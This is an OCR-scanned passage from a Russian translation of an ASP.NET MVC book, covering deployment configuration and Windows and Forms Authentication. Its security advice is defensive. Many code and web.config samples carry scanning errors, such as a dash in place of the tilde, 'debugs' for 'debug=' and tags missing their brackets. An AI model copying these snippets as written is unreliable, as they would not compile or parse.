Взамен пишите так, чтобы это работало независимо то того, развертывается приложение в виртуальном каталоге или нет:
<script src="<%= Url.Content("-/content/myscripts.js") %>"></script>
На заметку! URL, которые начинаются с тильды (~), называются виртуальными путями. Символом тильды обозначается корневой каталог приложения, которым может быть и виртуальный каталог. Браузеры не распознают виртуальные пути и тильды в URL, поэтому с помощью вспомогательного метода Url. Content () они должны быть преобразованы в абсолютные пути.
Дела обстоят немного сложнее, когда статические файлы сами содержат ссылки на другие статические файлы. Например, пусть имеется файл CSS, в котором присутствует ссылка на графическое изображение:
background-image: url(/content/images/gradient.gif);
Если приложение будет развернуто в виртуальном каталоге, зта ссылка будет нарушена, и применять встроенные методы генерации URL или виртуальные пути в статическом файле CSS не получится. Единственное решение состоит в использовании относительного пути, например:
background-image: url(../content/images/gradient.gif);
Помните, что браузеры интерпретируют ссылки в файле CSS относительно этого файла, а не относительно HTML-страницы, в которую включен файл.
484 Часть II. ASP.NET MVC во всех деталях
Использование средств конфигурирования ASP.NET
Базовая платформа ASP.NET предоставляет хороший выбор средств конфигурирования, как простых, так и сложных. Не храните конфигурационные данные приложения в реестре сервера (это создаст трудности с развертыванием и применением системы управления версиями исходного кода). Кроме того, не храните также конфигурационные данные в специальных текстовых файлах (которые потребуется вручную разбирать и кэшировать). Вместо этого облегчите себе работу, воспользовавшись встроенным API-интерфейсом WebConf igurationManager.
Совет. API-интерфейс WebConf igurationManager отлично подходит для чтения конфигурационных установок из файла web. config — это намного проще извлечения конфигурационных установок из таблицы базы данных. Более того, WebConf igurationManager позволяет записывать изменения и новые значения обратно в файл web.config. Однако из соображений производительности, масштабируемости и безопасности следует минимизировать количество операций записи изменений в web.config, а вместо этого хранить часто изменяемые установки (такие как предпочтения пользователей) в базе данных приложения. API-интерфейс WebConf igurationManager лучше применять для установок, которые не изменяются между развертываниями, например, адреса серверов и дисковые пути.
Конфигурирование строк соединений
Многим веб-приложениям приходится работать со строками соединений с базами данных. Разумеется, они не должны жестко кодироваться в исходном коде — намного проще и удобнее хранить строки соединения в конфигурационном файле. В ASP.NET предусмотрен специальный API-интерфейс для конфигурирования строк соединений. Если добавить следующие элементы в узел <connectionStrings> файла web. config:
<configuration>
<connectionStrings>
<add name="MainDB" connectionString="Server=myServer;Database=someDB; ..."/>
<add name="AuditingDB" connectionString="Server=audit01;Database=myDB; ..."/> </connectionStrings>
</configuration>
то их можно будет получить с помощью WebConf igurationManager. Connectionstrings. Например, ниже показан код для получения объекта LINQ to SQL типа DataContext:
string connectionstring = WebConfigurationManager. Connectionstrings [ "MainDB" ] ;
var dataContext = new DataContext(connectionstring);
var query = from customer in dataContext.GetTable<Customer>() where // ... и т.д.
На заметку! Если для создания экземпляров объектов доступа к данным используется контейнер 1оС, то обычно конфигурирование строк соединений (и любых других настроек компонентов 1оС) можно производить с помощью этого контейнера. Такой подход рассматривался в главе 4.
Конфигурирование произвольных пар “ключ/значение”
Если нужен способ конфигурирования адресов почтовых серверов, дисковых путей или других простых значений, которые могут отличаться между средой разработкой и производственной средой, и если эти установки не должны производиться с помощью контейнера 1оС, можно добавить соответствующие пары “ключ/значение” в узел <appSettings> файла web.config. Например:
Глава 14. Развертывание 485
<configuration»
<appSettings>
<add key="mailServer" value="smtp.example.com"/»
<add key="mailServerPort" value="25"/>
odd key="uploadedFilesDirectory" value="e:\web\data\uploadedFiles\"/> </appSettings>
</configuration»
Затем к этим значениям можно обращаться через WebConfigurationManager. AppSettings, как показано ниже:
string host = WebConfigurationManager.AppSettings["mailServer"];
int port = int.Parse(WebConfigurationManager.
AppSettings["mailServerPort"]) ;
Конфигурирование произвольных структур данных
Иногда требуется настраивать более сложные структуры данных, чем простые пары “ключ/значение”. В предыдущем примере mailServer и mailServerPort были сконфигурированы как два независимых значения, что не очень удобно, поскольку логически они представляют собой две части одной конфигурационной установки.
Если необходим способ конфигурирования произвольных списков и иерархий структурированных настроек, можно начать просто с представления их в виде XML свободной формы в узле <conf iguration> файла web. conf ig. Например:
Configuration»
<mailServers>
<server host="smtpl.example.com" portNumber="25">
<useFor domain="example.com"/>
<useFor domain="staff.example.com"/>
CuseFor domain="alternative.example"/»
</server>
<server host="smtp2.example.com" portNumber="5870">
CuseFor domain="*"/>
</server»
</mailServers>
</configuration»
Обратите внимание, что ASP.NET не имеет встроенной концепции узла <mailServers> — это просто произвольный код XML.
Затем следует создать класс IConfigurationSectionHandler, который сможет интерпретировать этот XML. Понадобится реализовать метод Create (), который принимает специальные данные в виде объекта XmlNode по имени section и трансформирует их в строго типизированный результат. В приведенном ниже примере строится список объектов MailServerEntry:
public class MailServerEntry
{
public string Hostname { get; set; }
public int PortNumber { get; set; }
public List<string> ForDomains ( get; set; }
}
public class MailServerConfigHandler : IConfigurationSectionHandler
{
public object Create(object parent, object configContext, XmlNode section)
1
return section.SelectNodes("server").Cast<XmlNode>()
.Select(x => new MailServerEntry
486 Часть II. ASP.NET MVC во всех деталях
{
Hostname = х.Attributes["host"].InnerText,
PortNumber = int.Parse(x.Attributes["portNumber"].InnerText), ForDomains = x.SelectNodes("useFor")
.Cast<XmlNode>()
-Selectfy => y.Attributes["domain"].InnerText) .ToList ()
}) .ToList () ;
}
}
Совет. Начиная с версии ASP.NET 2.0, вместо создания класса IConfigurationSectionHandler можно воспользоваться более новым API-интерфейсом Configurationsection. Он позволяет помещать атрибуты .NET в оболочки конфигурационных классов, декларативно ассоциируя свойства класса с атрибутами конфигурации. Однако этот новый API-интерфейс на самом деле увеличивает объем кода, который должен быть написан. Поэтому многие предпочитают реализовывать IConfigurationSectionHandler вручную и заполнять объект конфигурации с применением быстрого и элегантного запроса LINQ, как было показано выше.
И, наконец, зарегистрируйте специальный раздел конфигурации и его класс IConfigurationSectionHandler, добавив новый подузел в узел <configSections> файла web. config:
<configuration>
<configSections>
<section name="mailServers" type="namespace.MailServerConfigHandler, assembly"/>
</configSections>
</configuration»
После этого к конфигурационным данным можно обращаться в любом месте кода, используя метод WebConf igurationManager. GetSection ():
IList<MailServerEntry> servers =
WebConfigurationManager.GetSection("mailServers") as IList<MailServerEntry>;
Одна из замечательных особенностей метода WebConf igurationManager. GetSection () связана с тем, что он внутренне кэширует результат вызова метода Create () реализации IConfigurationSectionHandler, поэтому не повторяет разбор кода XML каждый раз, когда запросу нужен доступ к определенному разделу конфигурации.
Управление компиляцией на сервере
Во время развертывания следует уделить особое внимание флагу debug, который определен в узле <compilation> файла web. config:
<configuration>
<system.web>
<compilation debug="true">
</compilation>
</system.web>
</configuration>
Когда механизм представлений WebForms загружает и компилирует один из шаблонов ASPX, согласно флагу debug, он выбирает один из режимов компиляции: отладочный или выпуска. Если установка по умолчанию оставлена без изменений (debug="true"), то компилятор сделает следующее.
Глава 14. Развертывание 487
•	Обеспечит возможность пошагового выполнения кода, строка за строкой, за счет отключения ряда оптимизаций во время компиляции.
•	Компилирует каждый файл ASPX/ASCX отдельно по запросу вместо пакетной компиляции всех файлов в один прием (производя намного больше временных сборок, которые, к сожалению, потребляют больше памяти).
•	Отключает таймауты для запросов (позволяя тратить на запросы больше времени в отладчике).
•	Инструктирует браузеры не кэшировать статические ресурсы, обслуживаемые WebResources.axd.
Все это полезно во время разработки и отладки, но неизбежно отрицательно сказывается на производительности производственного сервера. Разумеется, при развертывании на рабочем сервере флаг debug необходимо сбросить (debugs"false"). Если развертывание производится на сервере IIS 7, для редактирования этой и других установок в файле web.config можно воспользоваться инструментом конфигурации .NET Compilation (рис. 14.8).
.NET Compilation
Display; Friendly Names
□	Batch
Bate h Compilations	I rue
Maxi mum. File She	1000
Maximum Size Of Batch	W
Timeout
E Behavior
Number Of Recompiles
Url Line Pragmas
В Visual BasK.NET
□	General
В Assemblies
В Code Sub Directones
Default Language
00:15:00
False
15
False
StringO Array
String 0 Array
Temporary Directory
Debug
Specifies compifetien of retail or debug binaries. Compiles debug binaries if true.
Рис. 14.8. Использование инструмента конфигурации .NET Compilation в IIS 7 для отключения режима отладочной компиляции ASPX
Обнаружение ошибок компиляции в представлениях перед развертыванием
Как известно, файлы ASPX и ASCX компилируются на лету, когда на сервере возникает потребность в них. Они не компилируются в Visual Studio, когда в меню выбирается пункт Builds Build Solution (Построить1^Построить решение) или нажимается клавиша <F5>. Обычно единственный способ проверить, что ни одно из представлений не вызывает ошибок компиляции, предусматривает систематическое посещение каждого возможного действия приложения и проверку возможности визуализации каждого доступного представления. Если этого не делать, то существует опасность проникновения
488 Часть II. ASP.NET MVC во всех деталях
синтаксических ошибок на производственный сервер, потому что какое-то конкретное представление не было проверено во время разработки.
Для проверки всех представлений на предмет наличия ошибок компиляции можно включить специальную опцию проекта под названием MvcBuildViews. Откройте файл проекта ASP.NET MVC (ВашеПриложение. cspro j) в простом текстовом редакторе и измените значение опции MvcBuildViews с false на true:
<MvcBuildViews>true</MvcBuildViews>
Сохраните обновленный файл . cspro j и вернитесь в Visual Studio. Теперь всякий раз при компиляции приложения среда Visual Studio запустит послесборочный шаг, на котором скомпилируются все представления .aspx, .asex и .Master с выводом всех возможных ошибок компиляции.
Обнаружение ошибок компиляции в представлениях только при построении выпуска
Имейте в виду, что включение упомянутого выше послесборочного шага заметно увеличит время компиляции, поэтому часто эта опция включается только при построении выпуска. Это позволит перехватить ошибки компиляции перед развертыванием, не увеличивая время компиляции при повседневной разработке.
Для этого откройте файл . cspro j приложения в простом текстовом редакторе, найдите в нем узел <Target> по имени AfterBuild (ближе к концу файла) и затем измените атрибут Condition следующим образом:
<Target Name="AfterBuiId" Condition="'$(Configuration)'=='Release'">
<AspNetCompiler VirtualPath="temp" PhysicalPath="$(ProjectDir)\..\$(ProjectName)"/>
</Target>
Обратите внимание, что после этого узел <MvcBuildViews> будет игнорироваться, и его даже вообще можно удалить.
Резюме
В этой главе рассматривались вопросы, которые обычно должны решаться при развертывании приложения ASP.NET MVC на рабочем веб-сервере. К ним относится установка сервера IIS, развертывание файлов приложения и обеспечение нормального взаимодействия системы маршрутизации и веб-сервера. Несмотря на краткость, скорее всего, описано все, что необходимо знать в большинстве сценариев развертывания.
Чтобы стать настоящим экспертом по IIS, нужно знать намного больше о мониторинге работоспособности приложений, повторном использовании процессов, уровнях доверия, регулировании пропускной способности, использования процессора и памяти, и т.д. Дополнительные сведения можно получить, обратившись к специальным ресурсам, посвященным администрированию сервера IIS.
ГЛАВА 15
Компоненты платформы ASP.NET
Платформа ASP.NET MVC не проектировалась как автономное средство. Будучи платформой для разработки веб-приложений, большую часть своей функциональности она наследует от лежащей в основе платформы ASP.NET, которая, в свою очередь, базируется на самой среде .NET Framework (рис. 15.1).
Рис. 15.1. Платформа ASP.NET MVC основана на более общей инфраструктуре
Несмотря на то что такие встроенные в ASP.NET MVC компоненты, как маршрутизация, контроллеры и представления, являются достаточно гибкими, чтобы можно было реализовать почти любую часть необходимой инфраструктуры, останавливаться на использовании только их одних не всегда разумно. Значительная часть работы уже сделана другими, и вы можете воспользоваться готовыми решениями, если будете знать, как применять все богатство экономящих время средств. Следует помнить о существовании двух проблем.
•	Знание возможностей платформы. Разработчики часто попадают в ситуацию, когда тратят дни и недели на изобретение блестящей инфраструктуры аутентификации и глобализации, пока какой-нибудь доброжелательно настроенный коллега не укажет на то. что нужное средство уже имеется в ASP.NET, и его необходимо лишь активизировать в файле web .config. Надо же!
•	Понимание, что это не платформа WebForms. Большая часть инфраструктуры была спроектирована с учетом WebForms, поэтому не все здесь чисто транслируется в новый мир MVC. Хотя одни средства платформы работают без проблем, другие требуют непростой подгонки и поиска обходных путей, а третьи вообще уже не применимы.
490 Часть II. ASP.NET MVC во всех деталях
Цель настоящей главы — предложить решение обеих проблем. Вы узнаете о наиболее часто используемых средствах платформы ASP.NET, которые важны для приложений MVC, а также получите советы и подсказки по преодолению проблем совместимости. Даже ветераны ASP.NET наверняка найдут здесь нечто такое, что не использовали ранее. В этой главе рассматриваются следующие вопросы.
•	Аутентификация — механизмы Windows Authentication и Forms Authentication.
•	Система членства (Membership), ролей (Roles) и профилей (Profiles).
•	Авторизация.
•	Кэширование данных.
•	Карты сайтов (для целей навигации).
•	Интернационализация.
•	Средства мониторинга и повышения производительности.
Перед тем, как приступить, следует отметить один важный момент: настоящая глава не претендует на то, чтобы служить исчерпывающим справочником по всем этим средствам — это связано с ограниченным объемом. Здесь вы найдете описание базового применения каждого средства в контексте MVC, а также обсуждение возможных специфичных для MVC проблем. Данного материала должно быть достаточно для принятия решения о том, подходит ли данное средство. Чтобы получить дополнительные сведения, необходимо обратиться к какому-нибудь руководству по платформе ASP.NET 3.5, в частности, к книге Мэтью Мак-Дональда и Марио Шпушты Microsoft ASP.NET 3.5 с примерами на C# 2008 для профессионалов. 2-е издание (ИД “Вильямс”, 2008 г.).
Компонент Windows Authentication
В терминологии программного обеспечения аутентификация (authentication) означает установление личности пользователя. Она совершенно отличается от авторизации (authorization), под которой понимается определение действий, которые разрешено делать конкретному пользователю. Авторизация обычно происходит после аутентификации. Соответственно, средство аутентификации ASP.NET касается только безопасной идентификации посетителей сайта с установкой контекста безопасности, в котором можно решить, что позволено делать посетителю.
Простейший способ проведения аутентификации предусматривает делегирование этой задачи серверу IIS (но, как будет объясняться ниже, это подходит только приложениям для корпоративных сетей). Это делается указанием компонента Windows Authentication в файле web.config:
<configuration>
<system.web>
Authentication mode="Windows" />
</system.web>
</configuration>
После этого платформа ASP.NET будет полагаться на сервер IIS при установке контекста безопасности для входящих запросов. IIS может аутентифицировать входящие запросы по списку пользователей, известных домену Windows, или по списку существующих локальных регистрационных записей пользователей на сервере, применяя один из следующих поддерживаемых механизмов.
•	Анонимная аутентификация (anonymous authentication). Посетитель не должен вводить какие-либо регистрационные данные. Неаутентифицированные запросы отображаются на специальную учетную запись анонимного пользователя.
Глава 15. Компоненты платформы ASP.NET 491
•	Базовая аутентификация (basic authentication). Сервер использует протокол базовой аутентификации HTTP, описанный в документе RFC 2617, который заставляет браузер отобразить окно с предупреждением о необходимости аутентификации (Authentication Required). В этом окне посетитель должен ввести свое имя и пароль. Введенные данные отправляются вместе с запросом в виде открытого текста, поэтому базовую аутентификацию HTTP следует использовать только через безопасное соединение SSL.
•	Дайджест-аутентификация (digest authentication). В этом случае сервер также заставляет браузер отобразить окно с предупреждением о необходимости аутентификации (Authentication Required), но на этот раз регистрационные данные пересылаются в виде шифрованного безопасного хеша, что удобно при отсутствии соединения SSL. К сожалению, этот механизм работает только с веб-серверами, которые одновременно являются контроллерами домена, к тому же только с браузером Internet Explorer (версии 5.0 или более поздней).
•	Встроенная аутентификация (integrated authentication). Сервер использует протокол аутентификации Kerberos версии 5 или NTLM для прозрачного установления личности пользователя, вообще не требуя ввода регистрационных данных. Этот режим аутентификации работает прозрачно лишь в ситуации, когда клиентская и серверная машины находятся в одном и том же домене Windows (или в разных доменах, для которых сконфигурированы доверительные отношения). Если это не так, отображается окно Authentication Required. Данный режим широко используется в корпоративных сетях, но не очень подходит для пользователей, работающих через публичные сети вроде Интернета.
Включить любой перечисленный выше механизм аутентификации можно с помощью диспетчера служб IIS 6 (в разделе Authentication and access control (Аутентификация и управление доступом) на вкладке Directory Security (Безопасность каталога) окна Properties (Свойства)) или инструментом конфигурирования аутентификации IIS 7, показанном на рис. 15.2.
L. |1Гкч*»1г .lixm MhHwxG
V Enable anonymous access
Use the following Windows user account for anonymous access:
ЦЖ name [iLsTwzSm' ““ Brw.se... .
Password:
Authenticated access
For the following authentication method^ user name and password are required when:
-	anonymous access is disabled, or
-	access is restricted using NTFS access control lists
R?	autha^attoni
Г" Digest authentication for Windows domain servers
R? Basic authentication (password is sent in dear text)
Г .NET Passport authentication
Authentication
Group bys No Grouping ’
Name	Status
Anonymous Authentication	Enabled
ASP.NET impersonation	Disabled
Basic Authentication	Disabled
Digest Authentication	Disabled
Forms Authentication	Disabled
Winders AuthenhcabcR	Enabled
Response Type
HTTP 4£tt Challenge HTTP 401 Challenge HTTP 302 Login/’Redirect HTTP 401 Challenge
Рис. 15.2. Экраны конфигурирования аутентификации для IIS 6 (слева) и IIS 7 (справа)
492 Часть II. ASP.NET MVC во всех деталях
На заметку! Если при использовании IIS 7 некоторые из названных механизмов аутентификации недоступны, их понадобится включить на сервере. Для этого щелкните на значке Programs and Features (Программы и компоненты) в панели управления. В открывшемся окне щелкните на ссылке Turn Windows features on and off (Включение или отключение компонентов Windows), раскройте ветвь Internet Information Services (Службы IIS), затем ветвь World Wide Web Services (Службы Интернета) и отметьте флажок возле элемента Security (Безопасность).
Компонент Windows Authentication обладает рядом очевидных преимуществ.
•	Его настройка не требует больших усилий и в основном сводится к конфигурированию сервера IIS. Кроме того, не придется реализовывать пользовательский интерфейс входа и выхода для разрабатываемого приложения MVC.
•	Поскольку используются централизованные регистрационные данные из домена Windows, администратору нет необходимости в поддержке отдельных наборов регистрационных данных, а пользователям не нужно запоминать еще один пароль.
•	При использовании встроенной аутентификации пользователям даже не потребуется вводить пароль, а их личность устанавливается безопасным образом без необходимости в наличии соединения SSL.
Ключевое ограничение компонента Windows Authentication состоит в том, что обычно он подходит только для приложений корпоративной сети, так как у каждого пользователя должны быть в наличии отдельные регистрационные записи в домене Windows (очевидно предоставлять такие записи каждому, кто вошел из Интернета, нецелесообразно). По той же причине не следует предоставлять возможность самостоятельной регистрации для новых пользователей или изменения паролей для существующих.
Предотвращение или ограничение анонимного доступа
При использовании компонента Windows Authentication, например, в приложении для корпоративной сети, расположенного в домене Windows, часто имеет смысл требовать аутентификацию для всех запросов. В этом случае посетители постоянно остаются в системе, а свойство User. Identity .Name всегда будет заполнено именем учетной записи посетителя в домене. Чтобы обеспечить такое поведение, в IIS понадобится отключить анонимный доступ (см. рис. 15.2).
Однако если нужно разрешить неаутентифицированным пользователям обращаться к определенным компонентам приложения (вроде домашней страницы сайта), но требовать аутентификацию Windows для доступа к другим частям приложения (скажем, к административным страницам), сервер IIS необходимо сконфигурировать так, чтобы позволить и анонимный доступ, и один или более других вариантов аутентификации (см. рис. 15.2). В таком случае анонимный доступ будет считаться доступом по умолчанию. Аутентификация будет осуществляться в следующих ситуациях.
1.	Посетитель обращается к URL, для которого сконфигурирована основанная на URL система авторизации ASP.NET— UrlAuthorizationModule, — которая не разрешает доступ анонимных посетителей. Это приводит к выдаче сервером ответа HTTP 401, заставляющего браузер выполнить аутентификацию (при необходимости открывая окно Authentication Required). Как будет показано ниже, основанная на URL авторизация обычно является неудачным выбором для приложения ASP.NET MVC.
2.	Сервер пытается обратиться к файлу, защищенному с помощью списка контроля доступа (access control list — ACL) Windows, a ACL запрещает доступ к любой идентичности, для которой была разрешена анонимная аутентификация. Это также заставляет сервер IIS вернуть ответ HTTP 401. Для приложения ASP.NET MVC
Глава 15. Компоненты платформы ASP.NET 493
списки ACL можно использовать только для управления доступом к приложению в целом, а не к отдельным его контроллерам и действиям, потому что контроллеры и действия не соответствуют файлам на диске.
3.	Посетитель обращается к контроллеру или методу действия, оснащенному фильтром ASP.NET MVC по имени [Authorize]. Этот фильтр авторизации отклоняет анонимный доступ, посылая обратно ответ HTTP 401. Дополнительно модно указывать и другие параметры, ограничивающие доступ для определенных пользовательских учетных записей или ролей, как более подробно описывалось в главе 9. Ниже приведен простой пример:
public class HomeController : Controller {
// Разрешает анонимный доступ
public ActionResult Index() { ... }
// Сначала потребовать аутентификацию, затем авторизовать по роли [Authorize(Roles="Admin")]
public ActionResult Somethingimportant() { ... }
}
4.	В приложении имеется специальный фильтр авторизации или какой-то другой специальный код, который возвращает HttpUnauthorizedResult или в противном случае приводит к выдаче ответа HTTP 401.
Наиболее удобными для приложений ASP.NET MVC являются последние два варианта, поскольку они предоставляют полный контроль над тем, к каким контроллерам и действиям разрешать анонимный доступ, а к каким — только через аутентификацию.
Компонент Forms Authentication
Компонент, реализующий аутентификацию Windows (Windows Authentication), обычно подходит только для приложений корпоративной сети, поэтому в ASP.NET предусмотрен и более широко используемый механизм аутентификации, который называется аутентификацией с помощью форм и реализован в виде компонента Forms Authentication. Он единственный подходит для применения в Интернете, поскольку он взаимодействует не с одними лишь регистрационными записями в домене Windows, а с произвольным хранилищем регистрационной информации. Такая аутентификация требует немного больше работы по настройке (понадобится предоставить пользовательский интерфейс для входа и выхода посетителя), но обеспечивает гораздо большую гибкость.
Поскольку протокол HTTP не поддерживает состояние, то посетитель, зарегистрированный в последнем запросе, не может рассчитывать, что сервер будет помнить его при следующем запросе. Как это принято во многих системах веб-аутентификации, в Forms Authentication для сохранения состояния аутентификации между запросами используется механизм cookie-наборов браузера. По умолчанию применяется cookie-набор по имени .ASPXAUT (полностью независимый от cookie-набора ASP.NET_SessionId, используемого для отслеживания сеансов). Если просмотреть содержимое cookie-набора .ASPXAUT ’, можно увидеть строку, подобную показанной ниже:
9CC50274C662470986ADD690704BF652F4DFFC3035FC19013726A22F794B3558778B12F7
99852B2E84D34D79С0А09DA258000762779AF9FCA3AD4B78661800B4119DD72A8A700093
5AAF7E309CD81F28
В браузере Firefox 3 выберите в меню пункт Tools'^ Options (Инструменты!Настройки), перейдите на вкладку Privacy (Приватность) и щелкните на кнопке Show Cookies (Показать Cookies). Откроется окно со списком cookie-наборов, установленных каждым доменом.
494 Часть II. ASP.NET MVC во всех деталях
Строка выглядит не слишком понятно. Но если передать эту строку в качестве параметра методу FormsAuthentication. Decrypt (), она будет преобразована в объект System. Web . Security. FormsAuthenticationTicket co свойствами, перечисленными в табл. 15.1.
Таблица 15.1. Свойства и значения расшифрованного объекта FormsAuthenticationTicket
Свойство	Тип	Значение
Name	string	"steve"
CookiePath	string	II /II
Expiration	DateTime	{08/04/2009 13:17:55}
Expired	bool	false
IsPersistent	bool	false
IssueData	DateTime	{08/04/2009 12:17:55}
UserData	string	II IT
Version	int	2
Самым важным из этих свойств является Name, представляющее имя, которое Forms Authentication назначит интерфейсу IPrincipal потока обработки запроса (доступному через User. Identity). Он определяет имя текущего зарегистрированного пользователя.
Разумеется, для расшифровки значения cookie-набора требуется секретный ключ <machineKey> из файла web. config2, и зто является основой безопасности Forms Authentication. Поскольку посторонним ключ <machineKey> не известен, никто не сможет самостоятельно построить корректное значение .ASPXAUTH. Единственный способ получить его — зарегистрироваться через страницу входа, указав правильные регистрационные данные, и тогда Forms Authentication выдаст действительное значение .ASPXAUTH.
Настройка Forms Authentication
При создании нового пустого приложения ASP.NET MVC в шаблоне проекта компонент Forms Authentication по умолчанию активизирован. Для этого в файл web .config включены следующие строки:
Authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880"/>
</authentication>
Эта простая конфигурация достаточно хороша для начала. Если понадобится более тонкий контроль над работой Forms Authentication, взгляните на опции, перечисленные в табл. 15.2, которые можно применять в узле <forms> файла web. config.
2 Чтобы заставить Forms Authentication работать в Интернет-мире, понадобятся либо особые отношения родственности между клиентами и сервером, либо все серверы должны иметь одно и то же явно определенное значение <machineKey>. Такое случайное значение можно сгенерировать по адресу http: //aspnetresources.com/tools/keycreator.aspx.
Глава 15. Компоненты платформы ASP.NET 495
Таблица 15.2. Атрибуты, которые можно конфигурировать в узле <forms> файла web. config
Параметр	Значение no умолчанию	Описание
cookieless	UseDeviceProfile	Пытается отслеживать аутентификацию между запросами, не используя cookie-наборы. Об этом речь пойдет ниже.
domain		Если установлен, назначает cookie-набор аутентификации заданному домену. Это позволяет разделять cookie-наборы аутентификации между поддоменами (например, если приложение развернуто на www. example. com, то для параметра domain следует установить значение . example. com*, чтобы разделить cookie-набор между поддоменами example. com).
loginUrl	/login.aspx	Когда компонент Forms Authentication требует регистрацию, он перенаправляет посетителя по этому URL.
name	.ASPXAUTH	Имя cookie-набора, используемого для хранения билета аутентификации.
path	/	Устанавливает cookie-набор аутентификации для отправки только по URL ниже указанного пути. Это позволяет развертывать множество приложений на одном и том же домене, не открывая cookie-наборы аутентификации одних приложений другим.
requireSSL	false	Если установлен в true, то компонент Forms Authentication пометит флагом “безопасный” свой cookie-набор аутентификации. Для браузеров это является рекомендацией передавать такой cookie-набор только в зашифрованных SSL запросах.
slidingExpiration	true	Если установлен в true, то ASP.NET будет обновлять билет аутентификации по каждому запросу. Это значит, что он не устареет, пока не истечет количество минут, указанное в параметре timeout, после последнего запроса.
timeout	30	Длительность периода в минутах, по истечении которого cookie-наборы аутентификации устаревают и становятся недействительными. Обратите внимание, что зто соблюдается на сервере, а не на клиенте: зашифрованные пакеты данных cookie-наборов аутентификации содержат информацию о времени действия.
* Обратите внимание на символ точки в начале строки. Он обязателен, поскольку спецификация HTTP требует наличия в свойстве domain cookie-набора как минимум двух точек. Это неудобно, если, скажем, во время разработки необходимо разделять cookie-наборы между http: //sitel .localhost/ и http: //site2. localhost/. В качестве обходного пути добавьте в файл \wlndows\system32\drlvers\etc\hosts элемент, отображающий sitel. localhost .dev и site2. localhost, dev на IP-адрес 127.0.0.1. После этого можно указать для domain значение . localhost. dev.
496 Часть II. ASP.NET MVC во всех деталях
Внимание! Если вы хоть немного заботитесь о безопасности, то должны всегда устанавливать requireSSL в true. На момент написания этой книги в мире превалировали нешифрованные публичные беспроводные сети и беспроводные сети WEP (имейте в виду, что протокол WEP небезопасен). Скорее всего, ваши посетители пользуются ими. Это значит, что когда cookie-набор . ASPXAUTH пересылается по нешифрованному соединению HTTP — либо потому, что так спроектировано ваше приложение, либо потому, что злоумышленник инициировал его через поддельный запрос — он может быть легко прочитан кем-то из той же сети. Это похоже на перехват сеанса, описанный в главе 13.
Доступны и другие параметры конфигурации, но перечисленные в табл. 15.2 используются наиболее часто. Вместо того чтобы редактировать узел конфигурации < forms > вручную, можно воспользоваться инструментом конфигурирования аутентификации IIS 7, который напрямую работает с файлом web. config. Для этого откройте упомянутый инструмент, щелкните правой кнопкой мыши на компоненте Forms Authentication и выберите в контекстном меню пункт Enable (Включить). Затем еще раз щелкните правой кнопкой мыши на Forms Authentication и в контекстном меню пункт Edit (Изменить) для конфигурирования его настроек (рис. 15.3).
Если компонент Forms Authentication активизирован в файле web. config, то когда неаутентифицированный посетитель пытается обратиться к любому контроллеру или методу действия, помеченному атрибутом [Authorize] (или любому действию, возвращающему HttpUnauthorizedResult), он будет перенаправлен по URL со страницей входа.
Рис. 15.3. Инструмент конфигурирования аутентификации IIS 7 при редактировании параметров Forms Authentication
Глава 15. Компоненты платформы ASP.NET 497
Обработка попыток входа
Естественно, что для обработки запросов к URL со страницей входа понадобится добавить соответствующий контроллер, иначе посетители будут получать ошибку 404 Not Found. Этот контроллер должен выполнять следующие функции.
1.	Выводить приглашение на вход.
2.	Принимать попытки входа.
3.	Проверять достоверность указанных регистрационных данных.
4.	Если регистрационные данные корректны, вызывать метод FormsAuthentication. SetAuthCookie (), который выдаст посетителю cookie-набор аутентификации, после чего переместить посетителя со страницы входа в другое место.
5.	Если регистрационные данные некорректны, повторно отобразить экран входа с соответствующим сообщением об ошибке.
В качестве примера построения такого контроллера может послужить Accountcontroller, по умолчанию включаемый в каждое создаваемое приложение ASP.NET MVC, или упрощенный вариант Accountcontroller, который рассматривается в примере приложения SportsStore в главе 6.
Обратите внимание, что контроллер Accountcontroller из приложения SportsStore проверяет входные регистрационные данные, вызывая метод FormsAuthentication. Authenticate (), который ищет эти данные в узле <credentials> файла web. config. Хранение регистрационных данных в web. config иногда допускается для небольших приложений, в которых список аутентифицированных данных со временем не меняется, но при этом следует помнить об ограничениях такого подхода.
•	Пароли в узле <credentials> могут быть указаны в виде открытого текста, что сводит на нет все меры безопасности, если кто-то посторонний увидит этот файл. Даже когда пароли представлены в хешированном (с помощью алгоритмов MD5 или SHA1) виде, нет возможности задавать начальное значения при хешировании. Поэтому если злоумышленник прочитает содержимое файла web . config, то он с высокой вероятностью сможет восстановить исходный пароль, воспользовавшись приемом атаки с помощью радужной таблицы (rainbow table)3.
•	Возникает проблема администрирования. Поддерживать в актуальном состоянии файл web. config при наличии тысяч пользователей, меняющих пароли каждый день, очень непросто. Также следует иметь в виду, что при каждом изменении web. config приложение сбрасывается, с очисткой кзша и хранилища сеансов.
Чтобы преодолеть эти ограничения, не храните регистрационные данные в файле web. config и не применяйте метод FormsAuthentication.Authenticate () для проверки попыток входа. Лучше либо реализовать собственное хранилище регистрационных записей, либо воспользоваться встроенным в ASP.NET средством Membership (Членство), которое рассматривается ниже.
3 Радужные таблицы — это громадные базы данных, которые содержат предварительно вычисленные значения для огромного числа возможных паролей. Злоумышленник может быстро определить, содержится ли конкретное хеш-значение в таблице, и если да, то сразу получить соответствующий пароль. В Интернете свободно доступно множество таких таблиц. Самый простой способ атаки на хеш-значения MD5 и SHA1. построенные без использования начального значения (salt), предусматривает его ввод в строке поиска Google. Если в качестве пароля было выбрано слово из словаря, скорее всего, оно найдется довольно быстро. За счет добавления произвольного начального значения, которое даже не понадобится сохранять в тайне, хеш-коды можно сделать намного более устойчивыми к восстановлению. Злоумышленнику придется строить совершенно новую радужную таблицу с использованием этого начального значения для всех хеш-кодов. А генерация радужных таблиц требует значительного времени и вычислительной мощности.
498 Часть II. ASP.NET MVC во всех деталях
Применение Forms Authentication в режиме без cookie-наборов
Компонент Forms Authentication поддерживает редко применяемый режим без cookie-наборов (cookleless), при котором билеты аутентификации сохраняются за счет включения их в URL. До тех пор, пока каждая ссылка в рамках сайта содержит билет аутентификации посетителя, он остается в системе даже без поддержки cookie-наборов в браузере.
Почему поддержка cookie-наборов может быть отключена? Ведь в няттти дни в подавляющем большинстве случаев она включена. К тому же известно, что многие веб-при-ложения просто не работают корректно, если не включить поддержку cookie-наборов; например, большинство служб веб-почты просто сообщают посетителю о том, что требуют cookie-наборов. Тем не менее, если конкретная ситуация требует этого, скажем, из-за того, что посетители используют старые мобильные устройства, в которых cookle-наборы не разрешены, с помощью файла web. config можно переключиться в режим без cookie-наборов:
Authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880" cookieless="UseUri"/>
</forms>
